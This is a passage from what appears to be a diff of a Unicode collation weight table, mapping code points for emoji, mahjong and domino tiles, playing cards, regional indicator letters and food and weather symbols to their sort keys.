[*15D7.0020.0002] # BOXING GLOVE -1F94B ; [*15D8.0020.0002] # MARTIAL ARTS UNIFORM -1F950 ; [*15D9.0020.0002] # CROISSANT -1F951 ; [*15DA.0020.0002] # AVOCADO -1F952 ; [*15DB.0020.0002] # CUCUMBER -1F953 ; [*15DC.0020.0002] # BACON -1F954 ; [*15DD.0020.0002] # POTATO -1F955 ; [*15DE.0020.0002] # CARROT -1F956 ; [*15DF.0020.0002] # BAGUETTE BREAD -1F957 ; [*15E0.0020.0002] # GREEN SALAD -1F958 ; [*15E1.0020.0002] # SHALLOW PAN OF FOOD -1F959 ; [*15E2.0020.0002] # STUFFED FLATBREAD -1F95A ; [*15E3.0020.0002] # EGG -1F95B ; [*15E4.0020.0002] # GLASS OF MILK -1F95C ; [*15E5.0020.0002] # PEANUTS -1F95D ; [*15E6.0020.0002] # KIWIFRUIT -1F95E ; [*15E7.0020.0002] # PANCAKES -1F980 ; [*15E8.0020.0002] # CRAB -1F981 ; [*15E9.0020.0002] # LION FACE -1F982 ; [*15EA.0020.0002] # SCORPION -1F983 ; [*15EB.0020.0002] # TURKEY -1F984 ; [*15EC.0020.0002] # UNICORN FACE -1F985 ; [*15ED.0020.0002] # EAGLE -1F986 ; [*15EE.0020.0002] # DUCK -1F987 ; [*15EF.0020.0002] # BAT -1F988 ; [*15F0.0020.0002] # SHARK -1F989 ; [*15F1.0020.0002] # OWL -1F98A ; [*15F2.0020.0002] # FOX FACE -1F98B ; [*15F3.0020.0002] # BUTTERFLY -1F98C ; [*15F4.0020.0002] # DEER -1F98D ; [*15F5.0020.0002] # GORILLA -1F98E ; [*15F6.0020.0002] # LIZARD -1F98F ; [*15F7.0020.0002] # RHINOCEROS -1F990 ; [*15F8.0020.0002] # SHRIMP -1F991 ; [*15F9.0020.0002] # SQUID -1F9C0 ; [*15FA.0020.0002] # CHEESE WEDGE +1EEF0 ; [*04DC.0020.0002] # ARABIC MATHEMATICAL OPERATOR MEEM WITH HAH WITH TATWEEL +1EEF1 ; [*04DD.0020.0002] # ARABIC MATHEMATICAL OPERATOR HAH WITH DAL +1F000 ; [*11A1.0020.0002] # MAHJONG TILE EAST WIND +1F001 ; [*11A2.0020.0002] # MAHJONG TILE SOUTH WIND +1F002 ; [*11A3.0020.0002] # MAHJONG TILE WEST WIND +1F003 ; [*11A4.0020.0002] # MAHJONG TILE NORTH WIND +1F004 ; [*11A5.0020.0002] # MAHJONG TILE RED DRAGON +1F005 ; [*11A6.0020.0002] # MAHJONG TILE GREEN DRAGON +1F006 ; [*11A7.0020.0002] # MAHJONG TILE WHITE DRAGON +1F007 ; [*11A8.0020.0002] # MAHJONG TILE ONE OF CHARACTERS +1F008 ; [*11A9.0020.0002] # MAHJONG TILE TWO OF CHARACTERS +1F009 ; [*11AA.0020.0002] # MAHJONG TILE THREE OF CHARACTERS +1F00A ; [*11AB.0020.0002] # MAHJONG TILE FOUR OF CHARACTERS +1F00B ; [*11AC.0020.0002] # MAHJONG TILE FIVE OF CHARACTERS +1F00C ; [*11AD.0020.0002] # MAHJONG TILE SIX OF CHARACTERS +1F00D ; [*11AE.0020.0002] # MAHJONG TILE SEVEN OF CHARACTERS +1F00E ; [*11AF.0020.0002] # MAHJONG TILE EIGHT OF CHARACTERS +1F00F ; [*11B0.0020.0002] # MAHJONG TILE NINE OF CHARACTERS +1F010 ; [*11B1.0020.0002] # MAHJONG TILE ONE OF BAMBOOS +1F011 ; [*11B2.0020.0002] # MAHJONG TILE TWO OF BAMBOOS +1F012 ; [*11B3.0020.0002] # MAHJONG TILE THREE OF BAMBOOS +1F013 ; [*11B4.0020.0002] # MAHJONG TILE FOUR OF BAMBOOS +1F014 ; [*11B5.0020.0002] # MAHJONG TILE FIVE OF BAMBOOS +1F015 ; [*11B6.0020.0002] # MAHJONG TILE SIX OF BAMBOOS +1F016 ; [*11B7.0020.0002] # MAHJONG TILE SEVEN OF BAMBOOS +1F017 ; [*11B8.0020.0002] # MAHJONG TILE EIGHT OF BAMBOOS +1F018 ; [*11B9.0020.0002] # MAHJONG TILE NINE OF BAMBOOS +1F019 ; [*11BA.0020.0002] # MAHJONG TILE ONE OF CIRCLES +1F01A ; [*11BB.0020.0002] # MAHJONG TILE TWO OF CIRCLES +1F01B ; [*11BC.0020.0002] # MAHJONG TILE THREE OF CIRCLES +1F01C ; [*11BD.0020.0002] # MAHJONG TILE FOUR OF CIRCLES +1F01D ; [*11BE.0020.0002] # MAHJONG TILE FIVE OF CIRCLES +1F01E ; [*11BF.0020.0002] # MAHJONG TILE SIX OF CIRCLES +1F01F ; [*11C0.0020.0002] # MAHJONG TILE SEVEN OF CIRCLES +1F020 ; [*11C1.0020.0002] # MAHJONG TILE EIGHT OF CIRCLES +1F021 ; [*11C2.0020.0002] # MAHJONG TILE NINE OF CIRCLES +1F022 ; [*11C3.0020.0002] # MAHJONG TILE PLUM +1F023 ; [*11C4.0020.0002] # MAHJONG TILE ORCHID +1F024 ; [*11C5.0020.0002] # MAHJONG TILE BAMBOO +1F025 ; [*11C6.0020.0002] # MAHJONG TILE CHRYSANTHEMUM +1F026 ; [*11C7.0020.0002] # MAHJONG TILE SPRING +1F027 ; [*11C8.0020.0002] # MAHJONG TILE SUMMER +1F028 ; [*11C9.0020.0002] # MAHJONG TILE AUTUMN +1F029 ; [*11CA.0020.0002] # MAHJONG TILE WINTER +1F02A ; [*11CB.0020.0002] # MAHJONG TILE JOKER +1F02B ; [*11CC.0020.0002] # MAHJONG TILE BACK +1F030 ; [*11CD.0020.0002] # DOMINO TILE HORIZONTAL BACK +1F031 ; [*11CE.0020.0002] # DOMINO TILE HORIZONTAL-00-00 +1F032 ; [*11CF.0020.0002] # DOMINO TILE HORIZONTAL-00-01 +1F033 ; [*11D0.0020.0002] # DOMINO TILE HORIZONTAL-00-02 +1F034 ; [*11D1.0020.0002] # DOMINO TILE HORIZONTAL-00-03 +1F035 ; [*11D2.0020.0002] # DOMINO TILE HORIZONTAL-00-04 +1F036 ; [*11D3.0020.0002] # DOMINO TILE HORIZONTAL-00-05 +1F037 ; [*11D4.0020.0002] # DOMINO TILE HORIZONTAL-00-06 +1F038 ; [*11D5.0020.0002] # DOMINO TILE HORIZONTAL-01-00 +1F039 ; [*11D6.0020.0002] # DOMINO TILE HORIZONTAL-01-01 +1F03A ; [*11D7.0020.0002] # DOMINO TILE HORIZONTAL-01-02 +1F03B ; [*11D8.0020.0002] # DOMINO TILE HORIZONTAL-01-03 +1F03C ; [*11D9.0020.0002] # DOMINO TILE HORIZONTAL-01-04 +1F03D ; [*11DA.0020.0002] # DOMINO TILE HORIZONTAL-01-05 +1F03E ; [*11DB.0020.0002] # DOMINO TILE HORIZONTAL-01-06 +1F03F ; [*11DC.0020.0002] # DOMINO TILE HORIZONTAL-02-00 +1F040 ; [*11DD.0020.0002] # DOMINO TILE HORIZONTAL-02-01 +1F041 ; [*11DE.0020.0002] # DOMINO TILE HORIZONTAL-02-02 +1F042 ; [*11DF.0020.0002] # DOMINO TILE HORIZONTAL-02-03 +1F043 ; [*11E0.0020.0002] # DOMINO TILE HORIZONTAL-02-04 +1F044 ; [*11E1.0020.0002] # DOMINO TILE HORIZONTAL-02-05 +1F045 ; [*11E2.0020.0002] # DOMINO TILE HORIZONTAL-02-06 +1F046 ; [*11E3.0020.0002] # DOMINO TILE HORIZONTAL-03-00 +1F047 ; [*11E4.0020.0002] # DOMINO TILE HORIZONTAL-03-01 +1F048 ; [*11E5.0020.0002] # DOMINO TILE HORIZONTAL-03-02 +1F049 ; [*11E6.0020.0002] # DOMINO TILE HORIZONTAL-03-03 +1F04A ; [*11E7.0020.0002] # DOMINO TILE HORIZONTAL-03-04 +1F04B ; [*11E8.0020.0002] # DOMINO TILE HORIZONTAL-03-05 +1F04C ; [*11E9.0020.0002] # DOMINO TILE HORIZONTAL-03-06 +1F04D ; [*11EA.0020.0002] # DOMINO TILE HORIZONTAL-04-00 +1F04E ; [*11EB.0020.0002] # DOMINO TILE HORIZONTAL-04-01 +1F04F ; [*11EC.0020.0002] # DOMINO TILE HORIZONTAL-04-02 +1F050 ; [*11ED.0020.0002] # DOMINO TILE HORIZONTAL-04-03 +1F051 ; [*11EE.0020.0002] # DOMINO TILE HORIZONTAL-04-04 +1F052 ; [*11EF.0020.0002] # DOMINO TILE HORIZONTAL-04-05 +1F053 ; [*11F0.0020.0002] # DOMINO TILE HORIZONTAL-04-06 +1F054 ; [*11F1.0020.0002] # DOMINO TILE HORIZONTAL-05-00 +1F055 ; [*11F2.0020.0002] # DOMINO TILE HORIZONTAL-05-01 +1F056 ; [*11F3.0020.0002] # DOMINO TILE HORIZONTAL-05-02 +1F057 ; [*11F4.0020.0002] # DOMINO TILE HORIZONTAL-05-03 +1F058 ; [*11F5.0020.0002] # DOMINO TILE HORIZONTAL-05-04 +1F059 ; [*11F6.0020.0002] # DOMINO TILE HORIZONTAL-05-05 +1F05A ; [*11F7.0020.0002] # DOMINO TILE HORIZONTAL-05-06 +1F05B ; [*11F8.0020.0002] # DOMINO TILE HORIZONTAL-06-00 +1F05C ; [*11F9.0020.0002] # DOMINO TILE HORIZONTAL-06-01 +1F05D ; [*11FA.0020.0002] # DOMINO TILE HORIZONTAL-06-02 +1F05E ; [*11FB.0020.0002] # DOMINO TILE HORIZONTAL-06-03 +1F05F ; [*11FC.0020.0002] # DOMINO TILE HORIZONTAL-06-04 +1F060 ; [*11FD.0020.0002] # DOMINO TILE HORIZONTAL-06-05 +1F061 ; [*11FE.0020.0002] # DOMINO TILE HORIZONTAL-06-06 +1F062 ; [*11FF.0020.0002] # DOMINO TILE VERTICAL BACK +1F063 ; [*1200.0020.0002] # DOMINO TILE VERTICAL-00-00 +1F064 ; [*1201.0020.0002] # DOMINO TILE VERTICAL-00-01 +1F065 ; [*1202.0020.0002] # DOMINO TILE VERTICAL-00-02 +1F066 ; [*1203.0020.0002] # DOMINO TILE VERTICAL-00-03 +1F067 ; [*1204.0020.0002] # DOMINO TILE VERTICAL-00-04 +1F068 ; [*1205.0020.0002] # DOMINO TILE VERTICAL-00-05 +1F069 ; [*1206.0020.0002] # DOMINO TILE VERTICAL-00-06 +1F06A ; [*1207.0020.0002] # DOMINO TILE VERTICAL-01-00 +1F06B ; [*1208.0020.0002] # DOMINO TILE VERTICAL-01-01 +1F06C ; [*1209.0020.0002] # DOMINO TILE VERTICAL-01-02 +1F06D ; [*120A.0020.0002] # DOMINO TILE VERTICAL-01-03 +1F06E ; [*120B.0020.0002] # DOMINO TILE VERTICAL-01-04 +1F06F ; [*120C.0020.0002] # DOMINO TILE VERTICAL-01-05 +1F070 ; [*120D.0020.0002] # DOMINO TILE VERTICAL-01-06 +1F071 ; [*120E.0020.0002] # DOMINO TILE VERTICAL-02-00 +1F072 ; [*120F.0020.0002] # DOMINO TILE VERTICAL-02-01 +1F073 ; [*1210.0020.0002] # DOMINO TILE VERTICAL-02-02 +1F074 ; [*1211.0020.0002] # DOMINO TILE VERTICAL-02-03 +1F075 ; [*1212.0020.0002] # DOMINO TILE VERTICAL-02-04 +1F076 ; [*1213.0020.0002] # DOMINO TILE VERTICAL-02-05 +1F077 ; [*1214.0020.0002] # DOMINO TILE VERTICAL-02-06 +1F078 ; [*1215.0020.0002] # DOMINO TILE VERTICAL-03-00 +1F079 ; [*1216.0020.0002] # DOMINO TILE VERTICAL-03-01 +1F07A ; [*1217.0020.0002] # DOMINO TILE VERTICAL-03-02 +1F07B ; [*1218.0020.0002] # DOMINO TILE VERTICAL-03-03 +1F07C ; [*1219.0020.0002] # DOMINO TILE VERTICAL-03-04 +1F07D ; [*121A.0020.0002] # DOMINO TILE VERTICAL-03-05 +1F07E ; [*121B.0020.0002] # DOMINO TILE VERTICAL-03-06 +1F07F ; [*121C.0020.0002] # DOMINO TILE VERTICAL-04-00 +1F080 ; [*121D.0020.0002] # DOMINO TILE VERTICAL-04-01 +1F081 ; [*121E.0020.0002] # DOMINO TILE VERTICAL-04-02 +1F082 ; [*121F.0020.0002] # DOMINO TILE VERTICAL-04-03 +1F083 ; [*1220.0020.0002] # DOMINO TILE VERTICAL-04-04 +1F084 ; [*1221.0020.0002] # DOMINO TILE VERTICAL-04-05 +1F085 ; [*1222.0020.0002] # DOMINO TILE VERTICAL-04-06 +1F086 ; [*1223.0020.0002] # DOMINO TILE VERTICAL-05-00 +1F087 ; [*1224.0020.0002] # DOMINO TILE VERTICAL-05-01 +1F088 ; [*1225.0020.0002] # DOMINO TILE VERTICAL-05-02 +1F089 ; [*1226.0020.0002] # DOMINO TILE VERTICAL-05-03 +1F08A ; [*1227.0020.0002] # DOMINO TILE VERTICAL-05-04 +1F08B ; [*1228.0020.0002] # DOMINO TILE VERTICAL-05-05 +1F08C ; [*1229.0020.0002] # DOMINO TILE VERTICAL-05-06 +1F08D ; [*122A.0020.0002] # DOMINO TILE VERTICAL-06-00 +1F08E ; [*122B.0020.0002] # DOMINO TILE VERTICAL-06-01 +1F08F ; [*122C.0020.0002] # DOMINO TILE VERTICAL-06-02 +1F090 ; [*122D.0020.0002] # DOMINO TILE VERTICAL-06-03 +1F091 ; [*122E.0020.0002] # DOMINO TILE VERTICAL-06-04 +1F092 ; [*122F.0020.0002] # DOMINO TILE VERTICAL-06-05 +1F093 ; [*1230.0020.0002] # DOMINO TILE VERTICAL-06-06 +1F0A0 ; [*1231.0020.0002] # PLAYING CARD BACK +1F0A1 ; [*1232.0020.0002] # PLAYING CARD ACE OF SPADES +1F0A2 ; [*1233.0020.0002] # PLAYING CARD TWO OF SPADES +1F0A3 ; [*1234.0020.0002] # PLAYING CARD THREE OF SPADES +1F0A4 ; [*1235.0020.0002] # PLAYING CARD FOUR OF SPADES +1F0A5 ; [*1236.0020.0002] # PLAYING CARD FIVE OF SPADES +1F0A6 ; [*1237.0020.0002] # PLAYING CARD SIX OF SPADES +1F0A7 ; [*1238.0020.0002] # PLAYING CARD SEVEN OF SPADES +1F0A8 ; [*1239.0020.0002] # PLAYING CARD EIGHT OF SPADES +1F0A9 ; [*123A.0020.0002] # PLAYING CARD NINE OF SPADES +1F0AA ; [*123B.0020.0002] # PLAYING CARD TEN OF SPADES +1F0AB ; [*123C.0020.0002] # PLAYING CARD JACK OF SPADES +1F0AC ; [*123D.0020.0002] # PLAYING CARD KNIGHT OF SPADES +1F0AD ; [*123E.0020.0002] # PLAYING CARD QUEEN OF SPADES +1F0AE ; [*123F.0020.0002] # PLAYING CARD KING OF SPADES +1F0B1 ; [*1240.0020.0002] # PLAYING CARD ACE OF HEARTS +1F0B2 ; [*1241.0020.0002] # PLAYING CARD TWO OF HEARTS +1F0B3 ; [*1242.0020.0002] # PLAYING CARD THREE OF HEARTS +1F0B4 ; [*1243.0020.0002] # PLAYING CARD FOUR OF HEARTS +1F0B5 ; [*1244.0020.0002] # PLAYING CARD FIVE OF HEARTS +1F0B6 ; [*1245.0020.0002] # PLAYING CARD SIX OF HEARTS +1F0B7 ; [*1246.0020.0002] # PLAYING CARD SEVEN OF HEARTS +1F0B8 ; [*1247.0020.0002] # PLAYING CARD EIGHT OF HEARTS +1F0B9 ; [*1248.0020.0002] # PLAYING CARD NINE OF HEARTS +1F0BA ; [*1249.0020.0002] # PLAYING CARD TEN OF HEARTS +1F0BB ; [*124A.0020.0002] # PLAYING CARD JACK OF HEARTS +1F0BC ; [*124B.0020.0002] # PLAYING CARD KNIGHT OF HEARTS +1F0BD ; [*124C.0020.0002] # PLAYING CARD QUEEN OF HEARTS +1F0BE ; [*124D.0020.0002] # PLAYING CARD KING OF HEARTS +1F0BF ; [*124E.0020.0002] # PLAYING CARD RED JOKER +1F0C1 ; [*124F.0020.0002] # PLAYING CARD ACE OF DIAMONDS +1F0C2 ; [*1250.0020.0002] # PLAYING CARD TWO OF DIAMONDS +1F0C3 ; [*1251.0020.0002] # PLAYING CARD THREE OF DIAMONDS +1F0C4 ; [*1252.0020.0002] # PLAYING CARD FOUR OF DIAMONDS +1F0C5 ; [*1253.0020.0002] # PLAYING CARD FIVE OF DIAMONDS +1F0C6 ; [*1254.0020.0002] # PLAYING CARD SIX OF DIAMONDS +1F0C7 ; [*1255.0020.0002] # PLAYING CARD SEVEN OF DIAMONDS +1F0C8 ; [*1256.0020.0002] # PLAYING CARD EIGHT OF DIAMONDS +1F0C9 ; [*1257.0020.0002] # PLAYING CARD NINE OF DIAMONDS +1F0CA ; [*1258.0020.0002] # PLAYING CARD TEN OF DIAMONDS +1F0CB ; [*1259.0020.0002] # PLAYING CARD JACK OF DIAMONDS +1F0CC ; [*125A.0020.0002] # PLAYING CARD KNIGHT OF DIAMONDS +1F0CD ; [*125B.0020.0002] # PLAYING CARD QUEEN OF DIAMONDS +1F0CE ; [*125C.0020.0002] # PLAYING CARD KING OF DIAMONDS +1F0CF ; [*125D.0020.0002] # PLAYING CARD BLACK JOKER +1F0D1 ; [*125E.0020.0002] # PLAYING CARD ACE OF CLUBS +1F0D2 ; [*125F.0020.0002] # PLAYING CARD TWO OF CLUBS +1F0D3 ; [*1260.0020.0002] # PLAYING CARD THREE OF CLUBS +1F0D4 ; [*1261.0020.0002] # PLAYING CARD FOUR OF CLUBS +1F0D5 ; [*1262.0020.0002] # PLAYING CARD FIVE OF CLUBS +1F0D6 ; [*1263.0020.0002] # PLAYING CARD SIX OF CLUBS +1F0D7 ; [*1264.0020.0002] # PLAYING CARD SEVEN OF CLUBS +1F0D8 ; [*1265.0020.0002] # PLAYING CARD EIGHT OF CLUBS +1F0D9 ; [*1266.0020.0002] # PLAYING CARD NINE OF CLUBS +1F0DA ; [*1267.0020.0002] # PLAYING CARD TEN OF CLUBS +1F0DB ; [*1268.0020.0002] # PLAYING CARD JACK OF CLUBS +1F0DC ; [*1269.0020.0002] # PLAYING CARD KNIGHT OF CLUBS +1F0DD ; [*126A.0020.0002] # PLAYING CARD QUEEN OF CLUBS +1F0DE ; [*126B.0020.0002] # PLAYING CARD KING OF CLUBS +1F0DF ; [*126C.0020.0002] # PLAYING CARD WHITE JOKER +1F0E0 ; [*126D.0020.0002] # PLAYING CARD FOOL +1F0E1 ; [*126E.0020.0002] # PLAYING CARD TRUMP-1 +1F0E2 ; [*126F.0020.0002] # PLAYING CARD TRUMP-2 +1F0E3 ; [*1270.0020.0002] # PLAYING CARD TRUMP-3 +1F0E4 ; [*1271.0020.0002] # PLAYING CARD TRUMP-4 +1F0E5 ; [*1272.0020.0002] # PLAYING CARD TRUMP-5 +1F0E6 ; [*1273.0020.0002] # PLAYING CARD TRUMP-6 +1F0E7 ; [*1274.0020.0002] # PLAYING CARD TRUMP-7 +1F0E8 ; [*1275.0020.0002] # PLAYING CARD TRUMP-8 +1F0E9 ; [*1276.0020.0002] # PLAYING CARD TRUMP-9 +1F0EA ; [*1277.0020.0002] # PLAYING CARD TRUMP-10 +1F0EB ; [*1278.0020.0002] # PLAYING CARD TRUMP-11 +1F0EC ; [*1279.0020.0002] # PLAYING CARD TRUMP-12 +1F0ED ; [*127A.0020.0002] # PLAYING CARD TRUMP-13 +1F0EE ; [*127B.0020.0002] # PLAYING CARD TRUMP-14 +1F0EF ; [*127C.0020.0002] # PLAYING CARD TRUMP-15 +1F0F0 ; [*127D.0020.0002] # PLAYING CARD TRUMP-16 +1F0F1 ; [*127E.0020.0002] # PLAYING CARD TRUMP-17 +1F0F2 ; [*127F.0020.0002] # PLAYING CARD TRUMP-18 +1F0F3 ; [*1280.0020.0002] # PLAYING CARD TRUMP-19 +1F0F4 ; [*1281.0020.0002] # PLAYING CARD TRUMP-20 +1F0F5 ; [*1282.0020.0002] # PLAYING CARD TRUMP-21 +1F1E6 ; [*09E3.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER A +1F1E7 ; [*09E4.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER B +1F1E8 ; [*09E5.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER C +1F1E9 ; [*09E6.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER D +1F1EA ; [*09E7.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER E +1F1EB ; [*09E8.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER F +1F1EC ; [*09E9.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER G +1F1ED ; [*09EA.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER H +1F1EE ; [*09EB.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER I +1F1EF ; [*09EC.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER J +1F1F0 ; [*09ED.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER K +1F1F1 ; [*09EE.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER L +1F1F2 ; [*09EF.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER M +1F1F3 ; [*09F0.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER N +1F1F4 ; [*09F1.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER O +1F1F5 ; [*09F2.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER P +1F1F6 ; [*09F3.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER Q +1F1F7 ; [*09F4.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER R +1F1F8 ; [*09F5.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER S +1F1F9 ; [*09F6.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER T +1F1FA ; [*09F7.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER U +1F1FB ; [*09F8.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER V +1F1FC ; [*09F9.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER W +1F1FD ; [*09FA.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER X +1F1FE ; [*09FB.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER Y +1F1FF ; [*09FC.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER Z +1F300 ; [*1283.0020.0002] # CYCLONE +1F301 ; [*1284.0020.0002] # FOGGY +1F302 ; [*1285.0020.0002] # CLOSED UMBRELLA +1F303 ; [*1286.0020.0002] # NIGHT WITH STARS +1F304 ; [*1287.0020.0002] # SUNRISE OVER MOUNTAINS +1F305 ; [*1288.0020.0002] # SUNRISE +1F306 ; [*1289.0020.0002] # CITYSCAPE AT DUSK +1F307 ; [*128A.0020.0002] # SUNSET OVER BUILDINGS +1F308 ; [*128B.0020.0002] # RAINBOW +1F309 ; [*128C.0020.0002] # BRIDGE AT NIGHT +1F30A ; [*128D.0020.0002] # WATER WAVE +1F30B ; [*128E.0020.0002] # VOLCANO +1F30C ; [*128F.0020.0002] # MILKY WAY +1F30D ; [*1290.0020.0002] # EARTH GLOBE EUROPE-AFRICA +1F30E ; [*1291.0020.0002] # EARTH GLOBE AMERICAS +1F30F ; [*1292.0020.0002] # EARTH GLOBE ASIA-AUSTRALIA +1F310 ; [*1293.0020.0002] # GLOBE WITH MERIDIANS +1F311 ; [*1294.0020.0002] # NEW MOON SYMBOL +1F312 ; [*1295.0020.0002] # WAXING CRESCENT MOON SYMBOL +1F313 ; [*1296.0020.0002] # FIRST QUARTER MOON SYMBOL +1F314 ; [*1297.0020.0002] # WAXING GIBBOUS MOON SYMBOL +1F315 ; [*1298.0020.0002] # FULL MOON SYMBOL +1F316 ; [*1299.0020.0002] # WANING GIBBOUS MOON SYMBOL +1F317 ; [*129A.0020.0002] # LAST QUARTER MOON SYMBOL +1F318 ; [*129B.0020.0002] # WANING CRESCENT MOON SYMBOL +1F319 ; [*129C.0020.0002] # CRESCENT MOON +1F31A ; [*129D.0020.0002] # NEW MOON WITH FACE +1F31B ; [*129E.0020.0002] # FIRST QUARTER MOON WITH FACE +1F31C ; [*129F.0020.0002] # LAST QUARTER MOON WITH FACE +1F31D ; [*12A0.0020.0002] # FULL MOON WITH FACE +1F31E ; [*12A1.0020.0002] # SUN WITH FACE +1F31F ; [*12A2.0020.0002] # GLOWING STAR +1F320 ; [*12A3.0020.0002] # SHOOTING STAR +1F321 ; [*12A4.0020.0002] # THERMOMETER +1F322 ; [*12A5.0020.0002] # BLACK DROPLET +1F323 ; [*12A6.0020.0002] # WHITE SUN +1F324 ; [*12A7.0020.0002] # WHITE SUN WITH SMALL CLOUD +1F325 ; [*12A8.0020.0002] # WHITE SUN BEHIND CLOUD +1F326 ; [*12A9.0020.0002] # WHITE SUN BEHIND CLOUD WITH RAIN +1F327 ; [*12AA.0020.0002] # CLOUD WITH RAIN +1F328 ; [*12AB.0020.0002] # CLOUD WITH SNOW +1F329 ; [*12AC.0020.0002] # CLOUD WITH LIGHTNING +1F32A ; [*12AD.0020.0002] # CLOUD WITH TORNADO +1F32B ; [*12AE.0020.0002] # FOG +1F32C ; [*12AF.0020.0002] # WIND BLOWING FACE +1F32D ; [*12B0.0020.0002] # HOT DOG +1F32E ; [*12B1.0020.0002] # TACO +1F32F ; [*12B2.0020.0002] # BURRITO +1F330 ; [*12B3.0020.0002] # CHESTNUT +1F331 ; [*12B4.0020.0002] # SEEDLING +1F332 ; [*12B5.0020.0002] # EVERGREEN TREE +1F333 ; [*12B6.0020.0002] # DECIDUOUS TREE +1F334 ; [*12B7.0020.0002] # PALM TREE +1F335 ; [*12B8.0020.0002] # CACTUS +1F336 ; [*12B9.0020.0002] # HOT PEPPER +1F337 ; [*12BA.0020.0002] # TULIP +1F338 ; [*12BB.0020.0002] # CHERRY BLOSSOM +1F339 ; [*12BC.0020.0002] # ROSE +1F33A ; [*12BD.0020.0002] # HIBISCUS +1F33B ; [*12BE.0020.0002] # SUNFLOWER +1F33C ; [*12BF.0020.0002] # BLOSSOM +1F33D ; [*12C0.0020.0002] # EAR OF MAIZE +1F33E ; [*12C1.0020.0002] # EAR OF RICE +1F33F ; [*12C2.0020.0002] # HERB +1F340 ; [*12C3.0020.0002] # FOUR LEAF CLOVER +1F341 ; [*12C4.0020.0002] # MAPLE LEAF +1F342 ; [*12C5.0020.0002] # FALLEN LEAF +1F343 ; [*12C6.0020.0002] # LEAF FLUTTERING IN WIND +1F344 ; [*12C7.0020.0002] # MUSHROOM +1F345 ; [*12C8.0020.0002] # TOMATO +1F346 ; [*12C9.0020.0002] # AUBERGINE +1F347 ; [*12CA.0020.0002] # GRAPES +1F348 ; [*12CB.0020.0002] # MELON +1F349 ; [*12CC.0020.0002] # WATERMELON +1F34A ; [*12CD.0020.0002] # TANGERINE +1F34B ; [*12CE.0020.0002] # LEMON +1F34C ; [*12CF.0020.0002] # BANANA +1F34D ; [*12D0.0020.0002] # PINEAPPLE +1F34E ; [*12D1.0020.0002] # RED APPLE +1F34F ; [*12D2.0020.0002] # GREEN APPLE +1F350 ; [*12D3.0020.0002] # PEAR +1F351 ; [*12D4.0020.0002] # PEACH +1F352 ; [*12D5.0020.0002] # CHERRIES +1F353 ; [*12D6.0020.0002] # STRAWBERRY +1F354 ; [*12D7.0020.0002] # HAMBURGER +1F355 ; [*12D8.0020.0002] # SLICE OF PIZZA +1F356 ; [*12D9.0020.0002] # MEAT ON BONE +1F357 ; [*12DA.0020.0002] # POULTRY LEG +1F358 ; [*12DB.0020.0002] # RICE CRACKER +1F359 ; [*12DC.0020.0002] # RICE BALL +1F35A ; [*12DD.0020.0002] # COOKED RICE +1F35B ; [*12DE.0020.0002] # CURRY AND RICE +1F35C ; [*12DF.0020.0002] # STEAMING BOWL +1F35D ; [*12E0.0020.0002] # SPAGHETTI +1F35E ; [*12E1.0020.0002] # BREAD +1F35F ; [*12E2.0020.0002] # FRENCH FRIES +1F360 ; [*12E3.0020.0002] # ROASTED SWEET POTATO +1F361 ; [*12E4.0020.0002] # DANGO +1F362 ; [*12E5.0020.0002] # ODEN +1F363 ; [*12E6.0020.0002] # SUSHI +1F364 ; [*12E7.0020.0002] # FRIED SHRIMP +1F365 ; [*12E8.0020.0002] # FISH CAKE WITH SWIRL DESIGN +1F366 ; [*12E9.0020.0002] # SOFT ICE CREAM +1F367 ; [*12EA.0020.0002] # SHAVED ICE +1F368 ; [*12EB.0020.0002] # ICE CREAM +1F369 ; [*12EC.0020.0002] # DOUGHNUT +1F36A ; [*12ED.0020.0002] # COOKIE +1F36B ; [*12EE.0020.0002] # CHOCOLATE BAR +1F36C ; [*12EF.0020.0002] # CANDY +1F36D ; [*12F0.0020.0002] # LOLLIPOP +1F36E ; [*12F1.0020.0002] # CUSTARD +1F36F ; [*12F2.0020.0002] # HONEY POT +1F370 ; [*12F3.0020.0002] # SHORTCAKE +1F371 ; [*12F4.0020.0002] # BENTO BOX +1F372 ; [*12F5.0020.0002] # POT OF FOOD +1F373 ; [*12F6.0020.0002] # COOKING +1F374 ; [*12F7.0020.0002] # FORK AND KNIFE +1F375 ; [*12F8.0020.0002] # TEACUP WITHOUT HANDLE +1F376 ; [*12F9.0020.0002] # SAKE BOTTLE AND CUP +1F377 ; [*12FA.0020.0002] # WINE GLASS +1F378 ; [*12FB.0020.0002] # COCKTAIL GLASS +1F379 ; [*12FC.0020.0002] # TROPICAL DRINK +1F37A ; [*12FD.0020.0002] # BEER MUG +1F37B ; [*12FE.0020.0002] # CLINKING BEER MUGS +1F37C ; [*12FF.0020.0002] # BABY BOTTLE +1F37D ; [*1300.0020.0002] # FORK AND KNIFE WITH PLATE +1F37E ; [*1301.0020.0002] # BOTTLE WITH POPPING CORK +1F37F ; [*1302.0020.0002] # POPCORN +1F380 ; [*1303.0020.0002] # RIBBON +1F381 ; [*1304.0020.0002] # WRAPPED PRESENT +1F382 ; [*1305.0020.0002] # BIRTHDAY CAKE +1F383 ; [*1306.0020.0002] # JACK-O-LANTERN +1F384 ; [*1307.0020.0002] # CHRISTMAS TREE +1F385 ; [*1308.0020.0002] # FATHER CHRISTMAS +1F386 ; [*1309.0020.0002] # 